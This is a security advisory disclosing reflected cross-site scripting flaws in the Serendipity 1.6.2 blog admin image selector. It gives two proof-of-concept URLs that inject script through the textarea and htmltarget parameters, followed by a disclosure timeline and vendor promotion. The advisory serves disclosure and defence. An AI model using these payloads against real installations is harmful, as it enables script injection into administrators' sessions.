Serendipity 1.6.2 Cross Site Scripting

`Information  
--------------------  
Name : XSS Vulnerabilities in Serendipity  
Software : Serendipity 1.6.2 and possibly below.  
Vendor Homepage : http://www.s9y.org/  
Vulnerability Type : Cross-Site Scripting  
Severity : Medium  
Researcher : Omar Kurt  
Advisory Reference : NS-13-003  
  
Description  
--------------------  
Serendipity is a PHP-powered weblog application which gives the user an  
easy way to maintain an online diary, weblog or even a complete homepage.  
While the default package is designed for the casual blogger, Serendipity  
offers a flexible, expandable and easy-to-use framework with the power for  
professional applications.  
  
Details  
--------------------  
Serendipity is affected by XSS vulnerabilities in version 1.6.2.  
  
http://example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117  
http://example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117  
  
You can read the full article about Cross-Site Scripting from here :  
http://www.mavitunasecurity.com/crosssite-scripting-xss/  
  
Solution  
--------------------  
The vendor fixed this vulnerability in the new version. Please see the  
references.  
  
Advisory Timeline  
--------------------  
26/02/2013 - First contact  
04/03/2013 - Sent the details  
10/07/2013 - Advisory released  
  
Credits  
--------------------  
It has been discovered on testing of Netsparker, Web Application Security  
Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
--------------------  
Vendor Url / Patch : -  
MSL Advisory Link :  
https://www.mavitunasecurity.com/xss-vulnerabilities-in-serendipity/  
Netsparker Advisories :  
http://www.mavitunasecurity.com/netsparker-advisories/  
  
About Netsparker  
--------------------  
Netsparker® can find and report security issues such as SQL Injection and  
Cross-site Scripting (XSS) in all web applications regardless of the  
platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
--   
Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
`